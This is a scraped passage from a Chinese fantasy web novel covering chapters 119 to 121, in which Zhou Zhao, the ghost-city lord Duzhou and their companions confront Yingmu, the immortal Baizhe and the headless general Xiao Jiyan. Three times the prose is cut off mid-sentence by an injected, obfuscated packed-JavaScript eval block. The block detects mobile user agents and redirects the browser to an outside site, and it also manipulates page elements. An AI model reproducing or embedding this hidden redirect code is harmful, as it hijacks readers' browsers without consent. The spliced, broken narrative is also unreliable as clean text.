坑底却没有折杞的影子,一个少年轻飘飘地抓住折杞往外一扔,足尖轻点落在渡舟面前,目光竟有几分欣赏,点头道:“渡舟,好名字。” “萤木?”陆轻苹叫道。 周昭忍不住心道:“这位陆大人真是惊讶得毫无演技,早在玉面蛇一案,不就猜到萤木了吗?” 来人果然是萤木。 他还是穿着那身寻常衙役的衣裳,坦然的神情却与从前截然不同,冲周昭等人远远地打招呼道:“各位好啊。” 周昭回应道:“你好啊,萤木。” 萤木赞赏地笑道:“是我低估了你的聪明。” “彼此彼此。” 渡舟傲慢道:“你谁?有点眼熟,想不起来了。” 萤木收回目光,道:“你不用知道我是谁,我知道你是谁,就够了。” “好吧。”渡舟喉咙里低沉地笑了笑,“看来我的名头比你大。” 萤木哈哈笑道:“你可以这么说。” 二人站定,互相打量,都没有立刻出手。 正僵持间,远处一人一鬼吱哇乱叫地闯进来,前面跑着的那位气喘吁吁,边跑边骂:“他妈的到底能不能停了!您是鬼,不会累,我他妈是人啊!” 后面那位无头将军挥舞着两把剑猛追不舍。 沈云起看着顾绍从自己眼前跑过去,问道:“他俩不会跑遍了这条街又回来了吧?” 无头将军月禾紧跟着跑来,但他经过周昭面前时,那具身体似乎不确定地“回身看了看”,他没有停,追着顾绍继续跑。 突然,月禾猛地停下脚步—— “他怎么了?”沈云起问道。 陆轻苹小声道:“他看到折杞了。” 月禾面向折杞,那具没有头的身体竟然发出咯吱咯吱的响声,像是全身的骨头都在愤怒地摩擦发抖。 月禾转眼间便忘了顾绍,提起两把长剑向折杞砍过去。折杞刚被渡舟打得一口气尚未喘息,面对月禾竟然有些招架不住,二人一招一式对打得十分精彩。顾绍跑了好远才发现身后无人再追,骂骂咧咧地走回来,吐了口唾沫,道:“你们一个二个,都不把本侯的性命放在眼里吗?” 沈云起忍住继续翻白眼的冲动,陆轻苹不想回头。 周昭则冲他友好地笑了笑,道:“将军,来我们这边。” 顾绍脑子有些发懵,尽管如此,身体好像不听使唤地朝周昭走过去,嘟囔道:“这还差不多......” 他余光看见萤木,叫道:“哪儿冒出来的小衙役!见了本侯也不行礼!” 陆轻苹两眼一翻伸长手臂将人抓回来:“过来吧大将军!” 萤木唇角弯了弯,轻声道:“有趣。想不到在这里还能看见阴阳面。” 渡舟敏锐道:“你跟折杞不是一伙的?” “从前不是,现在,算是吧。”萤木收回目光,“你虽然很强,但你受过伤,不是我的对手。” 渡舟傲慢道:“是吗?” 万千白色花瓣霎那间从天而降,一瞬间,什么声音都不剩下。地面上埋着一层厚厚的骨头渣子,上面盖着轻飘飘的白花随风滚动。 顾绍瞪大眼睛叫道:“我操了!这是什么妖法!刚才的那群东西呢?!” 昆仲从骨灰里“骂骂咧咧”钻出来,似乎在怪罪渡舟施法之前不跟它打声招呼,它刚飞到渡舟手边就被一把拂开,渡舟嫌恶道:“洗干净再来。” 昆仲继续“骂骂咧咧”地飞走,在空中左右看了看,随后美滋滋地朝着周昭怀里飞去。 萤木面色稍变,点头道:“无相妖主,名不虚传。” 119. 第 119 章 二人目光对视,瞬间缠斗,灵光爆炸声较之刚才更甚。昆仲在周昭掌心嗡鸣,随即咻得一声飞入混战。沈云起担忧道:“再打下去这里就要变成废墟了。” 陆轻苹道:“无碍,主君有钱。” 顾绍道:“打!打死他!狠狠揍他!” 众人侧目,顾绍正为折杞欢呼叫好。 只有周昭沉默不语,望着远处不知道在想些什么。 也许是这里的动静实在太大,四面八方走过路过的小鬼都聚上来。原先那只血祭场的公鸡尖着嗓子叫道:“嘎!那不是城主大人吗?” “要死啦!月禾将军又跟城主大人打起来了!” “那边是什么东西在打?好凶的鬼气!!!” ...... 众鬼窃窃私语,推出来一个代表来问陆轻苹:“大人呐,敢问是谁有胆子在无相城这地方大打出手?” 还有鬼问:“大人,怎么不见妖主大人?” “是啊是啊,妖主大人好久没来看咱们啦!” 陆轻苹被吵得心烦,随便抬手指了指。众鬼不明所以,叽叽喳喳像一群下蛋的老母鸡。 一会儿大骂最近闯入城中那群来路不明的鬼东西,搅得他们不得安宁。一会儿又说最近生意不好做,凡人都不敢来无相城做买卖。一会儿又小声议论城主似乎是被妖主大人暴揍了一顿,不然怎么半条胳膊都没了...... 正七嘴八舌议论时,一个戴着斗笠的女鬼从斜后方悄悄地走过。 “哟!瑶姬放出来啦!” 陆轻苹腾得一下弹起来,那斗笠女鬼闻声拔腿便跑,陆轻苹提剑就追,心道:“坏了!瑶姬八成是有帮手,怎么给她跑出来了!”他刚跑了两步又不敢走远,一回头,周昭喝道:“还不快追!” 陆轻苹还没搞明白,双腿先下意识地听了周昭的话往前跑。 怪事,她是周朝的皇帝,又不是当今皇帝!我跑什么? 瑶姬本就被关了许久,气息微弱,莫说陆轻苹,就算是压根不通术法,全靠赤手空拳的顾绍也能与她拿下。 陆轻苹飞身上前按住瑶姬肩膀,斥道:“你跑什么!” “不跑,等着你们将我关进无相渊吗!”瑶姬恨恨道。她一低头狠狠咬在陆轻苹手上,陆轻苹倒吸一口凉气,一掌便要劈在瑶姬后颈。但他掌还未落到实处,后腰便被人狠狠踹了一脚,向前扑去,与此同时一个男子的声音被风送到耳边—— “阿瑶!是你吗?” 哪知瑶姬的脸色瞬间雪白,她手忙脚乱地戴上斗笠往鬼群里钻,一边跑一边尖叫道:“救命啊!” 那些看热闹的鬼本来是站在陆轻苹这边,但是看不知道从哪里冒出来的男人追瑶姬,又瞬间转换阵营站在瑶姬这边,一字排开挡住那陌生男人,骂道:“谁啊!没长眼呐!” 男人一身浅灰长袍,比陆轻苹还要高些,仙风道骨翩翩而立,虽然相貌平平,却让人看了赏心悦目,与这无相城之景十分不和谐。 他左转右绕寻瑶姬不得,却很有礼貌地不断弯腰鞠躬,请那些挡路的鬼让一让。 周昭看了只觉得好笑,陆轻苹却怒从心来,折扇指着男人难以置信道:“你踢我?” 男人拱手行礼道:“是我唐突,阁下勿怪。” 言罢,他又要去找瑶姬。 陆轻苹自然也是要找瑶姬,二人目标一致,很快发现一个要救一个要抓,没说几句便打起来。男子出手虽不狠厉,但很快陆轻苹便发现此人功法深厚,讨不到便宜。过了几招竟被打得口吐鲜血,周昭手中的剑一直未曾放下,见状便要上前帮忙。 渡舟与那萤木打得难舍难分,余光看到此处,情急之下只求速战速决,萤木看穿了他的心思,转而停手向跑到半路的周昭攻去。可渡舟却不肯让她接招,一道灵光拍在萤木肩头,对方闪身避开,渡舟竟还分得出心思朝陆轻苹叫道:“去护阵,莫逞强。” 陆轻苹擦了擦唇角的血迹,瑶姬一看,竟然不要命地专往渡舟的方向跑,叫道:“大人别杀我!” 男子紧随其后,呼唤不停:“阿瑶!” 他看了看渡舟,语气不善道:“就是你要杀阿瑶?” 渡舟毫不客气地回了个挑衅的眼神。 男子迎头冲进混战。方才是一对一,现在是一对二。 众鬼尖叫着跑开,生怕被灵光误伤。周昭焦急道:“我们得去帮帮渡舟。” 陆轻苹咳出一口血:“不行!你要是过去,主君定会分心!” 沈云起强作镇定,实际上说话的声音都在发抖,一个劲儿地问道:“富贵儿,你没事儿吧?别吓我富贵儿。” “怂包!”顾绍骂骂咧咧地捡起一把剑,冲上去道,“哈哈!本侯来助你!” “别去!”周昭抓了个空,只好跟着往前冲。陆轻苹简直气得想骂人,他拦住周昭,道:“你留下!我去。” 周昭蹙眉道:“陆大人,我杀过的人比你吃过的饭还多,你到底怕什么?” 陆轻苹一时被那眼神中的杀气镇住,只见周昭握着那柄重剑在手中挽了个漂亮的剑花。 且说屋漏偏逢连夜雨,一个颤颤巍巍的鬼骷髅不知从哪里钻出来挡在她面前,那骷髅哇哇乱叫戾气极重,两眼冒鬼火,手里提着一把大刀,挥舞得虎虎生风。 周昭提剑挡之,手腕轻转刺其下盘,陆轻苹正要上前,谁知峰回路转,那边一直追着折杞不放的月禾突然提剑冲上来,跟那鬼骷髅打得有来有回。 陌生男子一脚将顾绍踢开,周昭冲上前扶起仰面朝天摔在地上的顾绍,担忧道:“你还好吗?” 顾绍心里怪不是滋味儿,以为周昭惺惺作态,但他看着周昭那双关切的眼睛,所有的话都像被浸湿了的棉花堵在嗓子眼里,好像有什么画面从很遥远的地方浮现,他愣了半晌,才点点头。 渡舟高声道:“殿下,你站远些。” 男子听了这话,垂下目光好奇地看了看,这一看不要紧,他突然停下动作,惊诧道:“远洲?你怎么会在这儿?” 远洲?远洲...... 澹溪水,澹溪,远洲...... 周昭登时头痛欲裂,她丢开剑,发出一声尖叫,痛苦地在地上滚来滚去。 顾绍惊道:“喂!” 渡舟飞奔过来,萤木趁此机会爆出一团灵光直取渡舟后心,渡舟的全部心思都在周昭身上,哪里顾得上身后? 昆仲眼疾手快挡了那一掌,箫身光芒忽明忽暗,不待众人反应,第二波灵光又打过来,若渡舟躲开,这一击便要落在周昭身上。 情急之下,那陌生男子叫道:“小心!” 渡舟脸色阴沉得可怕,看也不看反手抓住昆仲横劈下去,一道耀眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216636|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白光在众人眼前炸开,硝烟散去,萤木不见踪影,唯有地面上血迹斑斑。 渡舟的眼神简直能杀人,他片刻未停地奔至周昭身边,从顾绍怀里将人霸道地抢过来。 周昭捂着脑袋,极度痛苦地在渡舟怀里翻滚,她只感觉脑海里像是爬进了无数只张牙舞爪的毒蝎子,每只毒蝎子都在用那尖利闪着精光的蝎尾在里面胡乱地刺。 男子担忧道:“远洲她怎么了?” 渡舟满含深意地看了男子一眼,抱起周昭转身匆匆进了极乐坊,随即砰地一声关上大门。 众人面面相觑,陆轻苹最先反应过来,警惕道:“你到底是什么人?为何出现在无相城?” 男子似乎欲言又止,试探问道:“劳驾,你们无相城可有一位叫阿瑶的女子,我刚才好像看到她了。” 他言辞有礼,就好像刚才大打出手把人打吐血的是旁人一样,见没人理他,又问:“我说,有没有人能回答我的问题?” 陆轻苹上下打量着他,问道:“你就是灵溪?” “灵溪嘎!那不是瑶姬的情郎吗?”公鸡嗓叫道。 这些小鬼们又重新聚上来看热闹,你一言我一语,将瑶姬怎么被一个男人欺骗,那男人如何如何负心描述得绘声绘色。片刻后,所有的鬼都怒目摇头,大骂男人不是个好东西。 男子被骂得狗血淋头,无辜道:“我从前是有段时间叫灵溪,但我真不是负心汉!我修的是无情道,没老婆的!” 那边无头将军月禾跟冒鬼火的骷髅打得叮叮当当有来有回,男子随手一挥将两鬼分开,罩在灵光夺目的锁鬼阵中。 “......杀鬼啦!”众鬼惊叫连连,瞬间跑得没了踪影。 “这位兄台,你吐血了。”灵溪道。 “喂!你这人好生奇怪!”沈云起怒道。 陆轻苹闭了闭眼,懒得开口。灵溪像是才想起来陆轻苹吐血是因为谁,连声道歉,不由分说地抓住陆轻苹就往他身体里送灵力。 陆轻苹惊讶之余,更多的是难以置信这人体内法力竟十分深厚。但他肉眼凡胎半路出家,探不得虚实。 极乐坊内叮叮哐哐响个不停,间或传来女子压抑的叫声。 “里面在干什么?”灵溪问道。 “在打架。”陆轻苹面无表情道。 “哦。” “你干什么去!”陆轻苹一把抓住欲往里闯的人。 “去帮忙啊。”灵溪道。 顾绍很是色气地笑了两声,道:“不用你帮。” 少顷,大门打开,白猫迈步走到门口叫了两声,又头也不回地走进去。 “啥意思?”灵溪与顾绍异口同声道。 陆轻苹只觉心累,沈云起道:“主君叫我们进去。” 灵溪指了指自己,道:“我也要进去吗?” 陆轻苹道:“请吧。” 众人进门之后,又被眼前之景吓了一跳。 地上一滩鲜红血迹格外醒目,周昭双目无神抱着双臂坐在榻上,渡舟则坐在离她一步远的地上,那血就是淅淅沥沥从他手臂上淌下来的。白猫捏着嗓子朝渡舟叫了一声,跳上他的膝盖,伸出舌尖在渡舟小臂上舔来舔去,那里本来是两排深可见骨的牙印,经白猫这么舔了几下,血竟然神奇地止住了。 白猫跳下来,难得乖顺地卧在渡舟脚边。 120. 第 120 章 “抱歉......”周昭用微不可闻的声音道。 渡舟眼睛眨了眨,灵溪险些跳起来,叫道:“远洲!你会说话啦!” 周昭抬起眸子,困惑道:“你是谁?” 灵溪三两步奔到床边,又被突然横在眼前的骨箫挡住,尴尬地笑了笑,道:“你就是无相妖主渡舟?刚才是个意外。”又对周昭道:“远洲,你不记得我了?我从前常常找你师父下棋的。” “师父?” “对啊,话说回来,你怎么到无相城来了?你师父那般宠你,怎么舍得你放来这种地方?” 灵溪跟周昭交谈的过程中,渡舟的眼神一直没有移开半寸,此刻明显起了凶性。灵溪似乎察觉到周昭情况有异,神情严肃,问道:“远洲,你到底怎么了?” 周昭摇头道:“我不是你口中的远洲,你认错了。” 灵溪警惕地看向渡舟,道:“是他害你?” “......不。” 渡舟这才站起身,挡在灵溪面前,道:“我无相城好大的面子,连昆仑山的白赭神君都来了。” 此言一出,众人皆哗然。 灵溪没说话,渡舟道:“别装了,你本在昆仑山上修道,百年来始终参透不出道法,于是下山寻求机缘,化名灵溪拜在青城山下,瑶姬本名陈瑶,是你门中师妹。后来你终于悟道飞升,又回到道场昆仑山。你自称修习无情道,但瑶姬却在你走后困于情字,最终心结难解投河自尽。她生前怨念不消,死后化鬼,来到无相城做了个专为女人画皮的丹青手。” 灵溪震惊道:“小师妹是投河自尽死的?” 顾绍看戏道:“果真是负心汉。” 渡舟话锋一转,并不回答,反问道:“倘若你将远洲的事情原原本本说出来,我便让你与瑶姬相见。” 白赭低头沉思片刻,再抬眸已露出本相,他一双眉眼不笑也似笑,浓一分轻佻,少一分寡淡。 白赭问道:“你是她什么人?” 渡舟道:“旧友,故交,想杀之人。” 白赭看了周昭一眼,对方既不否认也不反驳,心道:“这二人关系倒是古怪......” 他寻了把椅子坐定,道:“好吧,我不知道这些年发生了什么事儿。不过,你们如果想知道远洲的事情,我可以将我知道的告诉你们。并非因为阿瑶,而是因为远洲也是我的旧友、故交。” 他缓缓说道:“当年你师父、抱歉,远洲的师父传信于我,说是有件事情要我帮忙。我那时刚出关,对人界今夕几何全无印象,那是我第一次见到远洲。老实说,她受伤很重,不,那其实是个死人。虽说我精通岐黄之术,但我那位故交不比我差,想来是什么法子都试过了,走到山穷水尽之路,无可奈何才传信给我。可我没有起死回生之术,只好日复一日喂些仙丹养着那具身体。” “后来又过了几百年,我再去拜访旧友,惊讶地发现远洲竟然活过来了。不光活着,还成了我那旧友唯一的徒弟,他亲力亲为教她琴棋书画,教她修习道法。可惜远洲不会说话,是个哑巴。她没有感情,没有朋友,只有师父。我曾笑说,你要让一具躯壳成仙悟道?他竟跟我说有何不可。我那时只觉得他异想天开,后来我忙于修行,渐渐地也不常去拜访。” 白赭似乎想起了往事,目光遥远,淡淡道:“这就是远洲的故事。” 周昭只觉喉咙干涩,声音也跟着嘶哑,问道:“你那位旧友,是住在澹溪吗?” 白赭道:“嗯。你去过吗?” “没有。” 周昭全然想不起来了。 她只是觉得熟悉,白赭的每句话都让她觉得熟悉,可就好像站在很遥远的地方看着一个似曾相识的人,尽管似曾相识,但并不认识。她惊觉自己的心跳声很快,嘴唇微动,问道:“你那位旧友,叫什么名字?” 白赭似乎犹豫了一下,方道:“于南桑。” “你说的于南桑,总不会是那位镇压鬼王成业的东华神君吧?”陆轻苹惊讶道。 白赭点点头。 渡舟则露出有些玩味的表情,似乎并不惊讶。 周昭听罢摇摇头,才发现自己刚才一直秉着呼吸,骤然吸进一口冷气扯着胸口疼,勉强笑了笑,低声自言自语:“不是他......” 周昭少年时常笑,笑起来像头顶耀眼骄阳。后来不常笑,又像一轮清冷柔和的满月。 最后她几乎不笑了,就算笑也往往是装出来的,可此时她又笑了,如明月高悬照世,偏爱她一人双眸,道:“我从前也有位师父,叫江梅棠,怕冷,喜甜,独爱海棠。” 渡舟的表情刹那间变得很是古怪,他沉默着别过脸,白赭突然啊呀地叫了一声,站起来道:“我都忘了外面还关着两只鬼,时间长了怕是要死!” 白赭风风火火地跑出去,那两道锁鬼阵中躺着两只奄奄一息的鬼。饶是如此,他们隔着好远还想跟对方打架,手中的兵器挥舞得像模像样。 白赭先是指着左边那位无头将军,问道:“能杀吗?” 渡舟挑了挑眉,意思是你说呢? 白赭似乎也觉得在别人的地盘,杀人家的兵好像是不太好,解了锁鬼阵,谁知灵光刚一消失,那无头将军突然冲到周昭面前,渡舟正欲出手,月禾弯下双膝跪于地,哐哐磕起了头。 不,由于他没有头,只好以肩撞地,画面一时间十分滑稽,却又让人无端觉得悲伤。 陆轻苹道:“月禾这是怎么了?”他转向周昭:“你认识?” 周昭道:“没听过。” 谁知那无头将军竟急得团团转,捡起自己的剑,在地上胡乱画了几笔,顾绍凑上前看,辨认道:“月、禾……他写自己的名字干嘛?” “等等,后面还有。”陆轻苹道,“这是个……口字?” “月、禾、口,这什么意思?” 那无头将军一遍遍写着这三个字,他的盔甲仿佛会说话,发出阵阵呜咽。周昭情不自禁上前,盯着地上那三个字细细辨认。 突然,她叫道:“肖季言,你是......肖季言将军?” “月禾没有头,所以只能写半边字?”沈云起惊讶道。 无头将军停下不动,猛地丢开手中剑,双手不知所措地在裤子上摸来摸去,手指一会儿蜷缩一会儿张开,在原地不停地打转。 白赭道:“他想说话。” 渡舟道:“好说。”他吹了声口哨,一个青面獠牙的鬼将凭空出现在众人面前,周昭只觉得眼熟,却不记得何时见过。 渡舟发话道:“找个人头来。” 鬼将领命又消失不见,没等多久,他便抓着一颗人头踢踢踏踏地走来,那人头眼珠子骨碌碌转,见了渡舟比见到亲爹还高兴,咧着一口长满尖牙的大嘴道:“妖主大人,找小的有什么吩咐?” 渡舟指了指无头将军,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222984|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头立刻道:“明白!” 那人头腾地一下从鬼将手中飞到了无头将军的肩膀上,对方转了转脖子,再睁开眼睛,先是无比震惊地打量着周遭的一切,随后目光落在周昭身上,那双眼睛瞬间睁得巨大无比,几乎要流下热泪,上前一步,跪地磕头道:“殿、殿下!” 渡舟制止道:“别磕了,头要掉。” 对方果然不磕了,却跪在地上不肯起,他说话时显然还有些不太习惯这条新舌头,因此磕磕绊绊,但总算比没有头干比划得强。 “殿下我......我终于见到您了!” 周昭半信半疑道:“你是肖季言将军?” 对方连连点头。 当年周驰死后尸首分离,副将肖季言不知所踪,所有人都以为肖季言死在了姜国。周昭扶起肖季言,问道:“肖将军,是姜国人把你变成这样的?” 肖季言脸上浮现出愤怒的神情。不知是不是因为这颗人头生来表现欲强烈,表情丰富,总之,他的样子跟从前不苟言笑的肖季言截然不同。 “不错!”肖季言恨恨道,“是姜国人!姜国人该死,但还有一个人,比姜国人还可恶!当年大殿下突发恶疾从马背上摔下来,我觉得蹊跷,暗中调查。后来发现大殿下之所以坠马,是因为他服用了一种毒药,名为牵机。营中只有靖王会制毒,我本欲找他对峙,但紧跟着军情告急,我只好将此事暂且放下,哪知战场上迷了方向,我找了许久也没找到回营的路。” 周昭神情微滞,知道肖季言是被砍了头,却不忍点破。 当年周驰之死原来另有原因,周昭却没有多大反应。 “后来我找到这么个鬼地方,老天有眼,竟然让我遇见靖王。但我势单力薄,屡屡不成。”肖季言神色黯淡,忽然间双目又射出精光,“殿下,如今您来了,微臣求您一定要替大殿下做主啊!” 肖季言又跪地磕头,继续道:“靖王少年时被大殿下罚过,一定是那时起便怀恨在心,竟施此毒计。此人虽然聪明,但难堪重用。微臣恳请殿下在陛下面前进言,将折杞召回盛都,永不再用!” 周昭许久没说话,肖季言眼中的光又熄灭下去,嘴唇发抖,问道:“殿下,您不肯?还是不信微臣?” “……父皇已经死了。” 肖季言啊地惨叫了一声,又问:“那姜国呢?灭了吗?大殿下的仇,报了吗?” 周昭僵硬地点点头,道:“姜国......没有了。” “好,好!”肖季言眼泛泪花,又道,“殿下,此地不宜久留。您还是跟微臣速速离开,对了,如今我朝天子是哪位殿下?槐鬼情势如何?” 周昭回答不了。 她既没有办法开口告诉肖季言真相,也没有勇气面对这位被遗忘在无相城一千多年的将军眼中神采奕奕的光芒。 “将军,你不是迷路,你是被人砍了头。”渡舟道。 肖季言突然不说话了。他瞪大眼睛,伸手摸了摸肩膀上那颗头颅,不敢相信地问道:“我......死了?” “嗯,已经过了一千多年。” “……周朝呢?”肖季言的脖子僵硬地转了转。 “……”周昭低声道,“对不起,将军。周朝......没有了。” 那双眼睛突然间神采全无,撕心裂肺的叫声从那张嘴巴里不由自主地跑出来,人头喀嚓掉在地上,无头将军挥舞着双臂跑得越来越远。 121. 第 121 章 “殿下,你早就知道平南王的死因,是不是?”渡舟的声音听起来有些沉。 周昭还是没回答。 她本以为这件事会烂在肚子里,却不料还能在无相城碰见故人。那时周驰心悸坠马而死,后又有宣庆帝突然驾崩,虽然周昭当时有所怀疑,也被这滚滚而来一个接一个的打击压得喘不过气。 她登基后,周朝曾短暂地平稳过一段时间,周昭终于抽出空来调查。虽然肖季言失踪了,折杞那件事也做得天衣无缝,但他所下之毒并不高明。 牵机,能附骨。 周昭那日去皇陵,并不单单看了先皇棺椁。她命人秘密开馆,重新验尸,在白骨上发现了牵机毒,也扯出当年一段往事—— 折杞的小指,是很小的时候因为平南王才被折断的。起因也模模糊糊,好像是平南王那时候初出茅庐,在岭夏受了折辱,手底下人为了讨好他便拿折杞撒气。 这事儿落在别人身上是能告御状的大事,落在折杞身上那便是微不足道,不值一提。 周昭也曾试探过折杞,但这事儿说到底无疾而终。一是紧跟着八王伐周,周昭手中实在无可用之人。二是周昭那时候虽然还年轻,去过皇陵之后心境却一夜之间苍老数年,已经少了从前意气风发,凡事都要分个黑白的勇气。 她望着肖季言离去的方向看了许久,才道:“……算了吧。” 二十岁的折杞已经为周朝战死了,少年一副活人骨埋在了破碎旧山河,那点儿早已埋入黄土的恩恩怨怨,比起一国之倾也显得微不足道,不值一提。 “算了吧!算了吧!” 骷髅的上下颌起起落落,沈云起震惊道:“这东西会讲话??” 骷髅这么突然一打岔,周昭不由住声,眼神探究地落在骷髅身上。骷髅对沈云起的话置若罔闻,不断重复道:“算了吧!算了吧!” 渡舟眉头微皱,手中灵光乍现,周昭情急之下抓住他的手,叫道:“等等。” 那团灵光就像蹿起的火苗突然间迎面撞上一股清泉水,在水流声中偃旗息鼓。渡舟那双凤眼微微挑起,侧过脸,周昭解释道:“留着他,说不定可以查到魂片的源头。” “好,听殿下的。”渡舟微笑道。 陆轻苹勉强压制住写满了匪夷所思的神色,视线落在二人紧紧握住的手上,强迫自己把脸转过去不愿再看。 白赭咦了一声,道:“原来你们是道侣啊。” 白赭目光下移,周昭置若罔闻,云淡风轻道:“哦,我只是觉得这鬼很眼熟。” 众人不解,她顿了顿,眼稍掠过一丝没来由的冷峻,平静道:“像我从前一位朋友,叫裴砚的。” 沈云起惊讶道:“这是你的......” “不好意思。”周昭又抢道,“我看错了。” 说完,像是才反应过来,松开渡舟的手,那份冷峻融化成一道若有若无的冷笑滑过周昭苍白的脸。在她身侧,渡舟攥了攥五指又张开,没说话。 顾绍上下打量,流里流气道:“女人嘛,总是口是心非。就比如,你们还真信她会对渡舟动手?” 周昭不予评价,渡舟神情微妙,沈云起很给面子地白了顾绍一眼,顾绍立马又狗模狗样笑嘻嘻地凑上去,夸沈云起今日妆容好看,陆轻苹终于舍得扭过头,二人视线若有若无地在空气里碰了碰。 白赭正丈二和尚摸不着头脑,那锁鬼阵的灵光突然灭了,两名同样青面獠牙的鬼将仿佛从天而降,一个押着瑶姬,一个则抓住那骷髅鬼,咔嚓掰断了他那分分合合的下颌。骷髅上下两张脸好似筛子抖个不停,瞧着滑稽。他不能开口讲话,两只空荡荡的眼眶骨却始终看着周昭手里那把剑。 “你要的人。”渡舟道。 “小师妹!是你吗?”白赭抢上前道。 瑶姬披散着头发,来的路上一直鬼叫个不停,听闻白赭这句话,她突然间安静下来,仿佛死了似的垂着头一声不吭。 “小师妹?”白赭弯下腰,伸出右手动作轻柔地拨开散落在那张脸上的长发,瑶姬的身子在他手底下抖个不停,谁知,就在那张脸的容貌完全显露在众人面前时,瑶姬突然张口狠狠咬在白赭的手背上,两道凶恶如狼的目光从乱蓬蓬的头发后面射出来,犹如两支利箭准确无误地插在白赭身上。 白赭吃痛,惊愕道:“小师妹!是我啊,我是灵溪!” 瑶姬咬住不放,血液顺着唇角往下流,她才松口,往地上狠狠地吐了口红唾沫,骂道:“滚!我不认识你!” 如此一来,那张脸完整地暴露在众人视线里:那是一张老得像皱皱巴巴的树皮,又像暗红干瘪的鱼干的脸。眼眶凹陷,嘴唇向里深缩,皮肉松松垮垮地挂在骨头上,加之她歇斯底里的神情,竟比那具脱臼了的骷髅还要可怖。 “这什么鬼东西!”顾绍跳开两步远。 “滚啊!我他妈让你滚!”瑶姬持续不断地骂道。 不知是不是被这副老态吓到,还是被瑶姬的怒意逼退,白赭下意识地张大嘴巴后退两步。瑶姬先是一愣,随即眼中的怒火悄无声息地熄灭了,看向渡舟,近乎可怜地哀声祈求道:“大人,我愿意去无相渊,求求您!现在就带我走吧!” “她怎么突然变成……”沈云起小声道,“变成这副模样?”他们本是一齐来到无相城,来时瑶姬还是从前那副花容月貌,此刻却如垂暮老人。 陆轻苹低下头,道:“丹青手需要靠画皮维持容貌,她被主君关了数月,原来的皮早烂了。” 渡舟自从刚才起便一言不发,此刻面对瑶姬的连声哀求,铁石心肠般岿然不动。 “大人!是瑶姬错了,瑶姬甘愿受罚!”浑浊的泪水在那张布满沟壑的脸上弯弯曲曲流淌,她像一团烂泥跪倒在渡舟脚边,对周遭的议论充耳不闻。 白赭的脸青青白白,仿佛城楼角上时而露出时而隐藏的月亮,他如梦方醒,单膝跪在瑶姬身侧,轻声唤道:“你是小师妹,我不会认错。” 瑶姬的身子如同被电打了似的小幅度抖了一下。白赭道:“你为何会出现在这里?我以为你早就……” “早就死了对吗?”瑶姬愤然抬起头,双手按住膝盖缓慢地站起身,漠然道,“白赭神君,你既然当初选择离开,就不要再用这副假惺惺的嘴脸看着我,我嫌恶心。” 顾绍插话道:“看来这位果真负心啊,顾某自愧不如。” “闭嘴!”瑶姬骂道。她虽然面容老去,姿态却极尽优美,捡起地上的斗篷擦了擦上面的灰,罩在头上,垂下面纱,冷冷道,“既然大人不可能帮我,我就当大人愿意放了我。诸位,就此别过。” “慢。”周昭道。 瑶姬诧异回头,像是才看到周昭,嫌恶道:“你脑子好了?” 周昭淡淡道:“好厉害的嘴,不过,我很赞同你刚才说的那句。”瑶姬不明所以,骂了句疯子,脚步匆匆就要离开。周昭闪身挡住她的去路,问道:“你还没有告诉我,是谁放你出来的?” 白赭紧张道:“别为难她!” 瑶姬张口便喝:“不用你管!” 渡舟站在原地没有动,昆仲斜斜地靠在掌心,蓄势待发。 “回答我,是谁放你出来的?”周昭步步紧逼,瑶姬急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226450|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于脱身,眼神不断在众人之间来回跳跃,突然,她看到周昭右手那把黑剑。 白色斗篷下传来一声笑,瑶姬的声音有些闷沉沉地传来,“你走近些,我便告诉你。” “好啊。”周昭答应得爽快。 想自戕?她装作没看破瑶姬的心思,脸上挂着淡淡的笑,缓步往前走。走到距离瑶姬一个手掌的距离时,斗篷底下像突然长出一条白胳膊,那白胳膊顶端的手迅疾地从她手中抽出剑。 寒光刹那间照耀月色,周昭心道:“抓住你了。” 谁料她刚伸出手,身体却被迎面而来的什么东西狠狠一撞,周昭隐约听到骨头嘎吱嘎吱作响的声音,她控制不住地向后仰,月亮越升越高,掠过月下一堆白森森的骨头,恰好看到瑶姬如愿以偿地举着黑剑往身上捅。 面纱兜满了鼓胀的风,她神情决绝,眼含热泪,那张又老又丑的脸在天旋地转间渐渐与另一张周昭熟悉的脸重合—— 那张脸左眼之下有一颗小小的红痣,被泪水浸润后愈发红得像血。霍璋跪在她面前,想去抓她的手却摸了个空,他的右手握着行野剑,左手则像是刚从血水里拿出来,却不是他自己的血。 一个嘴唇发白脸色寡淡的年轻人闭着眼睛歪倒在一边,心脏位置被划开了一道血淋淋的口子,宛如一个死人。 兰令仪的嘴巴一张一合说着什么,周昭没听清,只看见树上的人头笑得尖利,紧跟着,她便猛地抓住霍璋身边的黑剑刺入喉咙…… 